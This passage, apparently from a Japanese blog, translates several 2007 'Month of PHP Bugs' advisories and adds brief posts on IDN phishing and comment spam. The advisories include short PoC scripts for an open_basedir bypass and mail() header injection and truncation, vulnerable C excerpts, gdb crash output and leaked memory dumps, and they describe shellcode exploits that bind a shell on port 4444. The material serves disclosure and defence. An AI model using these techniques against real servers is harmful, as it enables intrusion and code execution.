convert_to_string_ex(jpeg_file);
convert_to_long_ex(spool_flag);
spool = Z_LVAL_PP(spool_flag);
残念ながらconvert_to_*関数は特定の条件でエラーを発生させます。例えば、配列をjpeg_fileとして渡す、spool_flag引数にオブジェクトを渡すなどです。このような状況が発生するとユーザ定義エラーハンドラは、はじめにiptcdata保持する変数をintにキャストし、その後longに値とします。これにより文字列と間違えられ、文字列の長さを保持するメモリ位置のlong値で指定された長さとしたZVALを作成できます。
簡単なトリックで任意のメモリブロックをリークされる事ができるのは明らかです。
■PoC、攻撃コードまたは再現手順
添付の攻撃コードが実行されると0x08048000から256バイトリークします。通常のLinuxシステムはこのアドレスに現在実行中のプログラムのELFヘッダが保存されています。
memdump
---------00000000: 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 02 ELF.............
00000010: 00 03 00 01 00 00 00 d0 72 08 08 34 00 00 00 bc ........r..4....
00000020: 1d b7 00 00 00 00 00 34 00 20 00 08 00 28 00 26 .......4. ...(.&
00000030: 00 23 00 06 00 00 00 34 00 00 00 34 80 04 08 34 .#.....4...4...4
00000040: 80 04 08 00 01 00 00 00 01 00 00 05 00 00 00 04 ................
00000050: 00 00 00 03 00 00 00 34 01 00 00 34 81 04 08 34 .......4...4...4
00000060: 81 04 08 13 00 00 00 13 00 00 00 04 00 00 00 01 ................
00000070: 00 00 00 01 00 00 00 00 00 00 00 00 80 04 08 00 ................
00000080: 80 04 08 60 af 3a 00 60 af 3a 00 05 00 00 00 00 ...`.:.`.:......
00000090: 10 00 00 01 00 00 00 00 b0 3a 00 00 30 3f 08 00 .........:..0?..
000000a0: 30 3f 08 ac 84 02 00 cc 19 04 00 06 00 00 00 00 0?..............
000000b0: 10 00 00 02 00 00 00 14 b0 3a 00 14 30 3f 08 14 .........:..0?..
000000c0: 30 3f 08 50 01 00 00 50 01 00 00 06 00 00 00 04 0?.P...P........
000000d0: 00 00 00 04 00 00 00 48 01 00 00 48 81 04 08 48 .......H...H...H
000000e0: 81 04 08 20 00 00 00 20 00 00 00 04 00 00 00 04 ... ... ........
000000f0: 00 00 00 50 e5 74 64 98 ae 3a 00 98 2e 3f 08 00 ...P.td..:...?..
■備考
この分類の脆弱性はZendエンジンのアーキテクチャ上の脆弱性です。我々はこの例のような割り込みバグが
直ぐに修正されるとは考えていません。allow_call_time_pass_referenceを無効にすることはこのアドバイザリの攻撃コードを無効化させるには役立ちます。しかし、リファレンスや別のデータ構造が渡される場合、類似する「関数割り込み攻撃」から守ることはできません。
フィードバックはまだありません...
コメントを残す
MOPB-36-2007:PHP session.save_path open_basedir Bypass Vulnerability
リンク: http://www.php-security.org/MOPB/MOPB-36-2007.html
Stefanさんの承諾を得て日本語訳を公開しています。このブログの「the Month of PHP Bugs」カテゴリでMOPBの翻訳ページを一覧できます。分かりやすいように意訳できる部分は意訳します。厳密に原文の通り訳していないので正確性を重視される方は原文をご覧ください。
■クレジット
発見者:Stefan Esser
攻撃コード:Stefan Esser
■PoCまたは攻撃コード
必要なし
■リファレンス
なし
■サマリ
filesセッションストレージモジュールが利用されている場合、空のsession.save_pathが設定されると、TMPDIR環境変数に設定されているディレクトリにフォールバックします。残念ながらこの自動フォールバック動作はopen_basedirチェックが行われた後に行われています。この為、open_basedirチェックをバイパス可能になっています。
■影響するバージョン
PHP 4.4.5未満、PHP 5.2.1未満
■詳細情報
この問題を確認するには、open_basedir設定を行い、以下のコード実行します。
<?php
ini_set("session.save_path", "/sessions/user2/");
putenv("TMPDIR=/sessions/user2/");
ini_set("session.save_path", "");
@session_start();
?>
最初のini_set()関数はパスがopen_basedir制限に違反するためエラーとなります。次のini_set()関数は成功し、TMPDIR環境変数に設定されたパスにセッションデータファイルが作成されます。
■備考
我々は決してopen_basedir設定に頼らないことをお勧めします。open_basedir制限はinclude脆弱性のインパクトを減らす良い方法だと私たちはとらえています。
攻撃者がPHPコードを実行できたその時点でPHPインタープリタが課している全ての制限をバイパスするために必要な欠陥がPHPにあることを、この時点では、MOPBが明らかにしたことを理解していただけると思います。
(訳注:safe_modeには欠陥が多く見つかるから廃止しよう、ということになっていますが「open_basedirも同じである」とする主張に対する反論について述べていると思われます。Stefanさんも私も同じですが、open_basedirは必ず設定すべきと考え、open_basedir設定自体はセキュリティ上有用だと考えています)
フィードバックはまだありません...
コメントを残す
MOPB-35-2007:PHP 4 zip_entry_read() Integer Overflow Vulnerability
リンク: http://www.php-security.org/MOPB/MOPB-35-2007.html
Stefanさんの承諾を得て日本語訳を公開しています。このブログの「the Month of PHP Bugs」カテゴリでMOPBの翻訳ページを一覧できます。分かりやすいように意訳できる部分は意訳します。厳密に原文の通り訳していないので正確性を重視される方は原文をご覧ください。
■クレジット
発見者:Stefan Esser
攻撃コード:Stefan Esser
■PoCまたは攻撃コード
MOPB-35-2007.php
x.zip
■リファレンス
なし
■サマリ
zip_read_entry()関数は.ZIPアーカイブの保存されている内容を読み込むために利用されます。この関数は整数オーバーフローに脆弱性で攻撃可能なバッファオーバーフローを引き起こします。
■影響するバージョン
PHP 4.4.5未満
■詳細情報
zip_read_entry()関数は受け渡された長さ引数を全くチェックしていません。これにより、メモリ確保時に文字列の終端のASCIIZバイトを保存するための1バイトを追加するさいに整数オーバーフローが発生します。
buf = emalloc(len + 1);
ret = zzip_read(entry->fp, buf, len);
buf[ret] = 0;
長さ引数に0xffffffffが渡されるとサイズ0のメモリブロック割り当てられ、4GBまでのデータがZIPアーカイブとしてこのメモリブロックに読み込まれます。これにより確保されたメモリブロック以降の全てのデータの書き換えが可能となり任意コードの実行を可能とします。
■PoC、攻撃コードまたは再現手順
添付の攻撃コードは小さなPHPのPoCとバッファをオーバーフローさせるデータを含んだZIPアーカイブで構成されます。これは普通のヒープオーバーフローなのでPoCはunlinkマクロ内でクラッシュすることだけ明らかにしています。
$ gdb ./php
(...)
(gdb) run MOPB-35-2007.php
Starting program: /../php-4.4.4/sapi/cli/php MOPB-35-2007.phpProgram received signal SIGSEGV, Segmentation fault.
0x0812c127 in _efree (ptr=0x81d76ec) at /../php-4.4.4/Zend/zend_alloc.c:274
274 REMOVE_POINTER_FROM_LIST(p);
(gdb) x/5i $eip
0x812c127 <_efree+71>: mov %eax,(%edx)
0x812c129 <_efree+73>: mov (%ebx),%edx
0x812c12b <_efree+75>: test %edx,%edx
0x812c12d <_efree+77>: je 0x812c135 <_efree+85>
0x812c12f <_efree+79>: mov 0x4(%ebx),%eax
(gdb) i r
eax 0x44444444 1145324612
ecx 0x8c8c8c9 147376329
edx 0x45454545 1162167621
ebx 0x81d76e0 136148704
esp 0xbff3ae20 0xbff3ae20
ebp 0xbff3ae28 0xbff3ae28
esi 0x81d265c 136128092
edi 0x81d71b4 136147380
eip 0x812c127 0x812c127 <_efree+71>
eflags 0x10216 66070
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb)
■備考
特別な事はありません。通常のヒープオーバーフローです。
フィードバックはまだありません...
コメントを残す
MOPB-34-2007:PHP mail() Header Injection Through Subject and To Parameters
リンク: http://www.php-security.org/MOPB/MOPB-34-2007.html
Stefanさんの承諾を得て日本語訳を公開しています。このブログの「the Month of PHP Bugs」カテゴリでMOPBの翻訳ページを一覧できます。分かりやすいように意訳できる部分は意訳します。厳密に原文の通り訳していないので正確性を重視される方は原文をご覧ください。
■クレジット
発見者:Stefan Esser
攻撃コード:Stefan Esser
■PoCまたは攻撃コード
必要なし
■リファレンス
なし
■サマリ
mail()関数はメールヘッダインジェクションを防ぐ為にSubjectとToに含まれるLFやCRなど制御文字をスペースに変換しています。しかし、次の行に続くメールヘッダの折りたたみ(改行)には例外が設けられています。(訳注:今のMTA,UMAはヘッダが長くても問題なく処理出来るものがほどんとですが、RFCでは長いヘッダは折りたたむように規定されている)残念ながらこの折りたたみ処理には問題があり、メールヘッダインジェクションが可能になります。
■影響するバージョン
PHP 4.4.6以下、PHP 5.2.1以下
■詳細情報
mail()関数はメールヘッダの折りたたみ処理のために以下のようなコードを利用しています。可読性の為、マクロは展開してあります。
for(i = 0; subject_r[i]; i++) {
if (iscntrl((unsigned char) subject_r[i])) {
//SKIP_LONG_HEADER_SEP(subject_r, i);
if (str[pos] == '\r' && str[pos + 1] == '\n' && (str[pos + 2] == ' ' || str[pos + 2] == '\t')) {
pos += 3;
while (str[pos] == ' ' || str[pos] == '\t') {
pos++;
}
continue;
}
subject_r[i] = ' ';
}
}
SKIP_LONG_HEADER_SEPマクロの意図は折りたたみ済みのヘッダ行を検出し、CRとLFをスペースで上書きしないことです。残念ながらこの処理は明らかな不具合があります。折りたたみ処理の直後に制御文字がある場合(LFやCRなど)continueコマンドが間違ってループカウンタiをインクリメントさせるためスペースに置換されません。この為 \r\n\t\n のような単純な文字列で改行を挿入出来てしまいます。
このインジェクションはSubjectとTo引数のどちらでも可能です。テストの課程で、古いsendmailでは正常に処理しましたが、eximはヘッダに対するNLインジェクションに問題があるようです。
(訳注:HTTP Response Splitingでも同じように、CR/LFで改行なのですがCR,LF単体で改行として処理してしまうシステムも多くありました)
■PoC、攻撃コードまたは再現手順
簡単な脆弱性テストは以下のようなPHPスクリプトです。
<?php
mail("test@domain(dot)com", "Test\r\n \nAnother-Header: Blub", "Message");
?>
■備考
メールインジェクションに関する文書では通常は追加のヘッダパラメータによるヘッダインジェクションについてのみ解説しています。残念ながらこの脆弱性と前の脆弱性(訳注:MOPB-33-2007)は全てのmail()関数引数はメールインジェクション問題を発生させる疑いがあることを証明しています。
フィードバックはまだありません...
コメントを残す
MOPB-33-2007:PHP mail() Message ASCIIZ Byte Truncation
リンク: http://www.php-security.org/MOPB/MOPB-33-2007.html
Stefanさんの承諾を得て日本語訳を公開しています。このブログの「the Month of PHP Bugs」カテゴリでMOPBの翻訳ページを一覧できます。分かりやすいように意訳できる部分は意訳します。厳密に原文の通り訳していないので正確性を重視される方は原文をご覧ください。
■クレジット
発見者:Stefan Esser
攻撃コード:Stefan Esser
■PoCまたは攻撃コード
必要なし
■リファレンス
なし
■サマリ
mail()関数がASCIIZバイト(訳注:NULLバイトのこと)呼ばれるとmail()関数はそこでメッセージが終了したものとしてしまいます。ユーザ入力のNULLバイトをフィルタせずにメッセージを追加している場合、メールトランケート脆弱性が発生します。
■詳細情報
EメールをPHPのmail()関数で送信しているWebアプリケーションは、以下のようなコードで生成されることが多いです。
$message = "Dear ".$_GET['name'];
$message .= "you have successfully ...";
この例では名前がチェックなしで名前が挿入されています。このコードはテキストブロック(訳注:$_GET['name']以降)のメールメッセージをメッセージを送信するユーザの完全な制御下にあることは明らかです。しかし、通常の状況では、元のメッセージがメールに添付されているので、メッセージの改ざんは明らかです。
残念ながらmail()関数は内部的にASCIIZバイトを文字列の終端として取扱い、攻撃者は単にASCIIZ文字を追加することにより以降のメッセージを表示させないようにできます。
■PoC、攻撃コードまたは再現手順
簡単な脆弱性テストコードは以下のようになります。
<?php
mail("test@domain(dot)com", "Truncation Test", "You will see this message\0but not this");
?>
■備考
Eメールインジェクション解説文では、通常は追加ヘッダによるヘッダインジェクションにのみ解説しています。しかし、NULLバイトによるインジェクションによってEメールメッセージの完全に別のメッセージに書き換え、トランケートさせることが可能な場合が多いです。
(訳注:例え送信先を制御できなくても、ブログのコメント通知などで、コメントではなく別の通知、たとえば「パスワードの更新が必要です」とメッセージを表示しPhishingするなど、としてメールを送信できると困るアプリケーションも多いと思います)
フィードバックはまだありません...
コメントを残す
.xxxドメイン却下
ここ数年間、議論されていた.xxxドメインが却下されたそうです。当然です。ほとんどフィッシングくらいにしか使われていない!? .infoや.bizよりも悪いドメインになりそうだった.xxxドメインが却下されて何よりです。
新しいTLDはほとんど必要ないし、作って利益があるのはインターネットを利用するユーザでも、サービスの提供者でも無く、フィッシングをする悪人、屋号・商標などを登録して悪用(たとえば恐喝まがいのドメインセールス)する悪人またはレジストラだけです。
IDNも至極迷惑なのですべてのブラウザがデフォルトで無効にしてほしいくらいです。標準に準拠しなくなる!という議論もあると思いますが、今のブラウザは標準準拠していない機能ばかりです。どうせ標準に準拠していないのでIDNに準拠しない方が問題が少なくなる、と考えている人も少なくないと思います。
ha.ckers.orgに載っていたのですがSSLをURLに含めたフィッシング、たとえば
http://evil.example.com/www.target.com/ssl/foo/bar/
も一定の効果があるようです。何故なら、「Look for correct domain」(正しいドメイン名か確認せよ)、「Look for SSL」(SSLであることを確認せよ)と言われているからです。一般のユーザにとってSSLは何の意味もないことが多く、httpsがURLの先頭にあるとSSLになる事も知らない場合が多いのです。フィッシングを成功させるには一部のユーザをだますだけでも十分です。
エンドユーザが安全にインターネットを利用するためにIDNが役に立つとは到底思えません。IDNが一般化すれば先ほどの馬鹿げた例よりもっと効率的にフィッシングできます。往々にしてコンピュータに詳しくないユーザがフィッシングに騙されやすく、新しいTLDやIDNでフィッシング被害に合う確率が高くなる、と予想できます。コンピュータに詳しくないユーザは、怪しいIDNリンクをクリックした後にxnで始まる名前に変換されても意味をなさない場合も多くあると予想できます。
さらに日本語のIDNドメインは安全性の問題は重大だと思います。たとえば、
http://テレビなら○○.com/
http://DVDなら○○.com/
http://○○のテレビ.com/
http://○○のDVD.com/
http://パソコンの○○.com/
http://家電のことなら○○.com/
http://安心の○○.com/
http://○○のユーザサポートコーナー.com/
http://○○のサポートサイト.com/
http://聞いて安心○○サポート.com/
複数の単語を使ったそれらしいフィッシング向きのドメイン名はいくらでも作れます。日本語ドメイン名にすることにより長いドメイン名でも違和感が少なくなります。適当に有名メーカ・ブランドの名前を○○に入れると騙されてしまうユーザはいくらでもいると思われます。匿名組合に投資して「パンフレットに有名企業の企業名とロゴがあったので信用したのに... 損失はその企業に補てんもらわねば」というお国柄です。マーケティングの事しか考えてない日本語ドメイン名が溢れ出すとどうしようもなくなります。
もしIDNの利用が増えるようであれば、有名企業はIDNを使わないことを宣言してユーザに注意を喚起しなければならないと思います。IDN以外のドメインも、サービスを提供しているドメインはメインサイトで一覧にするなどの処置をし「リスト以外のサイトはフィッシングサイトの可能性があるのでご連絡ください」などと協力をお願いする方が良いと思います。
とにかく、またTLDが増えなくて何よりです。IDNも無くなればよいのですが...
フィードバックはまだありません...
コメントを残す
MOPB-32-2007:PHP 4.4.5/4.4.6 session_decode() Double Free Vulnerability
リンク: http://www.php-security.org/MOPB/MOPB-32-2007.html
Stefanさんの承諾を得て日本語訳を公開しています。このブログの「the Month of PHP Bugs」カテゴリでMOPBの翻訳ページを一覧できます。分かりやすいように意訳できる部分は意訳します。厳密に原文の通り訳していないので正確性を重視される方は原文をご覧ください。
■クレジット
発見者:Stefan Esser
攻撃コード:Stefan Esser
■PoCまたは攻撃コード
MOPB-32-2007.php
http://www.php-security.org/MOPB/code/MOPB-32-2007.php
■リファレンス
MOPB-31-2007
■サマリ
MOPB-31-2007で紹介したセキュリティ問題がPHP開発者によって修正が試みられた際、最初の2回の試みは修正にはならず我々が紹介した攻撃経路(exploit paths)を防いだだけで、他の攻撃経路は利用可能でした。
正しい修正が考案されている間に、間違った修正がPHP4にバックポートされ、標準のPHPアンシリアライザにダブルフリー脆弱性が導入されてしまいました。この脆弱性はセッションデータを改ざんすることにより任意コードの実行を可能としています。
■影響するバージョン
PHP 4.4.5 ~ 4.4.6
■詳細情報
標準のPHPアンシリアライザに追加された防御策の一つは、変数が$GLOBALS配列を上書きせず、セッションデータは$_SESSION配列に保存されることを確実に行えるよう以下のコードを追加することでした。
namelen = q - p;
name = estrndup(p, namelen);
q++;if (zend_hash_find(&EG(symbol_table), name, namelen + 1, (void **) &tmp) == SUCCESS) {
if ((Z_TYPE_PP(tmp) == IS_ARRAY && Z_ARRVAL_PP(tmp) == &EG(symbol_table))
|| *tmp == PS(http_session_vars)) {
efree(name);
goto skip;
}
}if (has_value) {
ALLOC_INIT_ZVAL(current);
if (php_var_unserialize(¤t, (const unsigned char **)&q, endptr, &var_ha...)) {
php_set_session_var(name, namelen, current, &var_hash TSRMLS_CC);
}
zval_ptr_dtor(¤t);
}
PS_ADD_VARL(name, namelen);
skip:
efree(name);
残念ながらこのコードははじめに変数nameを解放し、そのしてskip:ラベルにジャンプしname変数をさらに開放しています。PHP5では似たようなコードを使っていますが変数は一度しか解放されません。
Zendメモリマネージャの小さなブロックのキャッシュ機能により2つのキャッシュが同じアドレスを持つことになります。これはブロックサイズが同じとなる次の2つのメモリ確保が同じメモリ領域となることを意味します。例えば、この問題は文字列と配列を同じメモリ領域に割り当て、Zendハッシュテーブルを文字列により直接改ざん可能にします。これをPoCでデモンストレーションしています。
■PoC、攻撃コードまたは再現手順
添付のPoCはPHP文字列変数とPHP配列変数を同じメモリ位置に配置するためにこの脆弱性を利用しています。PHP文字列変数を操作し、攻撃コードは配列のデストラクタポインタが0X88776655のコードを実行するように書き換えています。実際の攻撃ではこのオフセットはシェルコードへのオフセットでなければなりません。
$ gdb ./php-4.4.5-basic
(gdb) run MOPB-32-2007.php
Starting program: ./php-4.4.5-basic MOPB-32-2007.phpProgram received signal SIGSEGV, Segmentation fault.
0x88776655 in ?? ()
(gdb) bt
#0 0x88776655 in ?? ()
#1 0x0813f546 in zend_hash_destroy (ht=0x81d21dc) at Zend/zend_hash.c:558
#2 0x0813a391 in _zval_dtor (zvalue=0x81d22fc) at Zend/zend_variables.c:51
#3 0x081321aa in _zval_ptr_dtor (zval_ptr=0x81d22c0) at Zend/zend_execute_API.c:289
#4 0x08140894 in zend_hash_del_key_or_index (ht=0x81a0b2c, arKey=0x81d73c4 '_' , "a",
nKeyLength=19, h=2758057915, flag=0) at Zend/zend_hash.c:529
#5 0x0814d753 in execute (op_array=0x81d1f8c) at Zend/zend_execute.c:2323
#6 0x0813b9ec in zend_execute_scripts (type=8, retval=0x0, file_count=3) at Zend/zend.c:935
#7 0x08110040 in php_execute_script (primary_file=0xbfe01784) at main/main.c:1757
#8 0x08157fe8 in main (argc=2, argv=0xbfe01824) at sapi/cli/php_cli.c:838
(gdb) i r $eip
eip 0x88776655 0x88776655
(gdb)
■備考
これが間違ったセキュリティ修正のバックポートがさらに危険なセキュリティホールを導入してしまう非常に良い例です。
全てのセッションデータ攻撃と同じように悪意のあるセッションデータを利用した攻撃は、PHPアプリケーションやPHPモジュールの脆弱性によりリモートから攻撃可能であることを理解することが重要です。例えば、HPHP-05-2006のような脆弱性がZend Platformには存在しています。
(訳注:「それ、リモートから攻撃できないでしょ」と間違った突っ込みを入れる開発者がいるのでわざわざ書いていると思われます。最近の攻撃方法の傾向からも一つの脆弱性だけを利用して攻撃するより、複数の脆弱性を利用した攻撃が一般化しているのは明らかです)
フィードバックはまだありません...
コメントを残す
MOPB-31-2007:PHP _SESSION Deserialization Overwrite Vulnerability
リンク: http://www.php-security.org/MOPB/MOPB-31-2007.html
Stefanさんの承諾を得て日本語訳を公開しています。このブログの「the Month of PHP Bugs」カテゴリでMOPBの翻訳ページを一覧できます。分かりやすいように意訳できる部分は意訳します。厳密に原文の通り訳していないので正確性を重視される方は原文をご覧ください。
■クレジット
発見者:Stefan Esser
攻撃コード:Stefan Esser
■PoCまたは攻撃コード
MOPB-31-2007.php
http://www.php-security.org/MOPB/code/MOPB-31-2007.php
■リファレンス
なし
■サマリ
register_globalsが有効されている場合、セッションデータのアンシリアライズは、$_SESSION配列を含め、全てのグローバル変数を書き換え可能です。この為、特別なスクリプトを用意すると任意コードの実行が可能となります。
■影響するバージョン
PHP 4.4.5未満、PHP 5.2.1未満
■詳細情報
サマリで全てを解説しています。詳しくは攻撃コードを参照してください。
■PoC、攻撃コードまたは再現手順
添付のPoCコードはsubstr_compare()関数の情報リークを利用してシェルコードへのオフセットと書き換えが必要なNULLポインタのアドレスを取得しています。そして、解説した$_SESSION配列の上書き脆弱性を偽のハッシュテーブルを使いコード実行を行います。
■備考
通常の状況ではローカルからのみ攻撃可能です。しかし、リモートからの攻撃者がアプリケーションの脆弱性を利用してセッションデータファイルを挿入できるかも知れません。(訳注:UNIX系OSの場合、デフォルトでは/tmpにセッションデータが保存されるので偽のセッションデータファイルを配置できればリモートからも攻撃可能)多くのアプリケーションがこの様なセキュリティホールを持っています。
この脆弱性によりセキュリティホールを持つサーバでは任意コード実行が可能です。Suhosinモジュールはこのような攻撃からデフォルト設定で、暗号化され簡単に改ざんできないよう、保護されるようになっています。
フィードバックはまだありません...
コメントを残す
MOPB-30-2007:PHP _SESSION unset() Vulnerability
リンク: http://www.php-security.org/MOPB/MOPB-30-2007.html
Stefanさんの承諾を得て日本語訳を公開しています。このブログの「the Month of PHP Bugs」カテゴリでMOPBの翻訳ページを一覧できます。分かりやすいように意訳できる部分は意訳します。厳密に原文の通り訳していないので正確性を重視される方は原文をご覧ください。
■クレジット
発見者:Stefan Esser
攻撃コード:Stefan Esser
■PoCまたは攻撃コード
MOPB-30-2007.php
http://www.php-security.org/MOPB/code/MOPB-30-2007.php
■リファレンス
なし
■サマリ
セッション拡張モジュールは、セッショングローバル内の内部ポインタを含めていないため、セッション変数に正しい参照カウンタ値を設定していません。この為、$_SESSION配列と$HTTP_SESSION_VARSをunset()するとセッションデータを保持するハッシュテーブルは解放されているにも関わるセッションモジュールの内部ポインタはリセットされずセッションモジュール内で使い続けられます。この動作はハッシュテーブルを任意コードを実行するための特別に用意された文字列に置き換えることを許してしまいます。
■影響するバージョン
PHP 4.4.5未満、PHP 5.2.1未満
■詳細情報
サマリが全てを解説しています。詳しくは攻撃コードを試してみてください。
■PoC、攻撃コードまたは再現手順
添付のPoCコードはこの脆弱性を使用してシェルコードを実行します。例えば、最初はNULLであるzend_execute_internal(訳注:PHPの内部のZendエンジンの関数)へのオフセットが必要です。
単純にシェルコードを入れ替えることはできません。シェルコードは特別に用意されたx86のjmpインストラクションをシェルコードのnopspeceにするハッシュキーを持つハッシュテーブルバケット用に作られている為です。
■備考
通常の状態ではこの脆弱性はローカルかのみ攻撃できます。しかし、特定の状況下ではリモートコード実行が可能となります。リモートからコード実行を行うにはアプリケーションが$HTTP_SESSION_VARSと$_SESSIONをunsetするようなコードを持っていなければなりません。unsetはsession_strat()関数が呼び出された後か自動的にセッションが開始された後に呼び出されなければなりません。両方の状況が当てはまる場合、リモートからのコード実行が可能となるかもしれません。
フィードバックはまだありません...
コメントを残す
SPAM急増中...
このブログのコメント・トラックバックには日本語フィルタが追加されているのですが、今月からこのフィルタの回避方法に気が付いたと思われるSPAMMERから大量にSPAMがくる様になっています。ボットによる分散型なので効果的な対処情報はトークンを用いた方法くらいしかありません。自分で作っている時間がないのでとりあえず放置するしかないです。
コメント・トラックバックを頂いても気が付かない可能性が非常に高いです....
フィードバックはまだありません...
コメントを残す
2度あることは3度ある?
リンク: http://opentechpress.jp/security/07/03/30/0945215.shtml
カーソルファイルの脆弱性で.aniブラウズするだけで攻撃される可能性がある、ということですが似たような脆弱性があったと思いググるとありました。
http://itpro.nikkeibp.co.jp/free/ITPro/NEWS/20041224/154283/
実際、同じような脆弱性が何度か現れることは非常に多いです。
2、3年後にもう一度はある!?
フィードバックはまだありません...
コメントを残す
MOPB-29-2007:PHP 5.2.1 unserialize() Information Leak Vulnerability
リンク: http://www.php-security.org/MOPB/MOPB-29-2007.html
Stefanさんの承諾を得て日本語訳を公開しています。このブログの「the Month of PHP Bugs」カテゴリでMOPBの翻訳ページを一覧できます。分かりやすいように意訳できる部分は意訳します。厳密に原文の通り訳していないので正確性を重視される方は原文をご覧ください。
■クレジット
発見者:Stefan Esser
攻撃コード:Stefan Esser
■PoCまたは攻撃コード
MOPB-29-2007.php
http://www.php-security.org/MOPB/code/MOPB-29-2007.php
■リファレンス
なし
■サマリ
PHP 5.2.1から追加されたS: データ型シリアライズフォーマットは完全に壊れています。エスケープされた文字列を処理するための新機能ですが動作しないだけでなくヒープメモリ情報の漏えいを可能にしています。
■影響するバージョン
PHP 5.2.1
■詳細情報
新たにPHP 5.2.1からS: データタイプがunserialize()に追加されました。この機能は将来リリースされるPHP6とシリアライズされたデータの互換性を保つために追加されました。データ型自体は簡単なエスケープバイトがサポートされている以外は通常のs: データ型と同じです。以下の文字列がS:データ型の例です。
S:10:"\55\44APXY"
残念ながらこれらのエスケープされた文字列のアンシリアライズ処理は完全に壊れており、公表されているように全く働きません。
アンシリアライズ処理が行われた場合、6バイトの文字列を返すさず、上記の例は常に10バイトと返すかエラーとなります。アンシリアライズ処理が10バイトの入力を処理した時に終了せず、10バイトの出力が書かれた時に終了するからです。
次のバイトが"(ダブルクオート)文字である場合、最後の出力バイトから“(ダブルクオート)までのメモリ情報をリークします。
■PoC、攻撃コードまたは再現手順
添付の攻撃コードが実行されるとヒープメモリ情報をリークさせるようなデータをPHP変数に代入してリーク可能なメモリレイアウトを作り、16進数ダンプを出力します。成功した場合、メモリダンプはメモリクッキーとハッシュバケットをメモリヘッダ付きで出力します。このヒープのアドレス(または秘密であるべきクッキー情報)から別の攻撃を行うことが可能になります。
Heapdump
---------00000000: 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
00000010: 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
00000020: 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
00000030: 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
00000040: 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
00000050: 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
00000060: 61 61 61 61 22 00 00 00 00 63 da 58 21 fd 00 00 aaaa"....c.X!...
00000070: 00 45 01 00 00 26 bb b9 7e ca 00 00 00 b0 72 91 .E...&..~.....r.
00000080: b7 18 6f 91 b7 a0 73 91 b7 00 00 00 00 00 00 00 ..o...s.........
00000090: 00 00 00 00 00 22 22 22 22 22 22 22 22 22 22 22 ....."""""""""""
000000a0: 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 """"""""""""""""
000000b0: 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 """"""""""""""""
000000c0: 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 """"""""""""""""
000000d0: 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 """"""""""""""""
000000e0: 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 """"""""""""""""
000000f0: 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 """"""""""""""""
00000100: 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 """"""""""""""""
00000110: 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 """"""""""""""""
00000120: 22 22 22 22 22 22 22 22 22 22 22 22 .. .. .. .. """"""""""""....
■備考
我々にとっては全くテストされていないコードがPHPリリースに含まれてしまったことは謎です。S: データ型は全く動作せず、情報リーク攻撃だけにしか利用できません。最も簡単なテストでこれが壊れていることを発見できるはずです。
さらに、PHP開発者がシリアライズデータがPHP5とPHP6と互換性を持つような機能を追加したことも謎です。unserialize()にセキュリティ脆弱性が発見されるたびにユーザは開発者から「ユーザからのデータ対してunserialize()を使ってはならないものだ」にと言われます。(訳注:マニュアルには書いてないですが実際にそう言っている開発者もいます。unserialize()はユーザが送信したデータに対して利用しない方が安全なのは確かですが、壊れた実装が一番問題です)ユーザデータに使ってはならない関数であれば、なぜデータ交換を簡単にする為(つまりユーザからの入力データに対して)の機能を実装したのでしょうか?
フィードバックはまだありません...
コメントを残す
MOPB-28-2007:PHP hash_update_file() Already Freed Resource Access Vulnerability
リンク: http://www.php-security.org/MOPB/MOPB-28-2007.html
Stefanさんの承諾を得て日本語訳を公開しています。このブログの「the Month of PHP Bugs」カテゴリでMOPBの翻訳ページを一覧できます。分かりやすいように意訳できる部分は意訳します。厳密に原文の通り訳していないので正確性を重視される方は原文をご覧ください。
■クレジット
発見者:Stefan Esser
攻撃コード:Stefan Esser
■PoCまたは攻撃コード
MOPB-28-2007.php
http://www.php-security.org/MOPB/code/MOPB-28-2007.php
■リファレンス
なし
■サマリ
hash_update_file()が呼ばれると、その後の処理のために最初にリソースデータが取得されます。そして、ハッシュ値を取得する為にデータをストリームから読みます。悪意のあるユーザストリームハンドラはハッシュリソースを破壊し、改ざんしたハッシュ関数ポインタテーブルを含む特別に作れた偽のリソースに置き換えることができます。関数が実行され続けると、書き換えられた関数ポインタを呼び出すのでシェルコードを実行できます。
■影響するバージョン
PHP 5.2.1以下
■詳細情報
PHP関数はZendエンジンに登録したリソースを維持しなければなりません。リソースシステムは参照カウンタを持っており参照カウンタはリソースを保持するPHP変数の参照数のみ保持しています。しかし、幾つの関数がリソースを使っているか数えるカウンタはありません。
このため、PHPコードの中に特別なバグの種類が存在します。PHP関数がリソースデータを取得した後にユーザコードによる割り込みが可能な場合、リソースを解放し、例えば同じサイズの文字列を解放されたリソースとして同じメモリ位置に割り当てることが可能です。悪意のある割り込みにより関数が終了し、置き換えられたリソースデータを継続して使用すると、このPHP文字列は特別に生成されたリソースを作るために利用でき、PHP関数により攻撃に利用できます。
このバグは攻撃に必要な割り込みはユーザ定義エラーハンドラのみでなくユーザ定義ストリームハンドラも利用可能であることをデモンストレーションしています。
■PoC、攻撃コードまたは再現手順
添付の攻撃コードはsubstr_compare()関数の情報漏洩脆弱性を利用して有効なオフセットを決定しています。このため、攻撃コードはPHP5 のみで動作します。しかし、より多くのメモリ情報リークが可能な他のGD関数を使用して良い効率的なpeek()関数を実装できます。したがってこの攻撃はPHP4でも行えます。
攻撃コードはいつものように4444ポートに接続するとシェルを起動します。
■備考
この脆弱性は、関数に割り込むためにユーザ定義エラーハンドラでなくユーザ定義ストリームハンドラが利用されている事を除けば、MOPB-27-2007と同じ種類の脆弱性です。
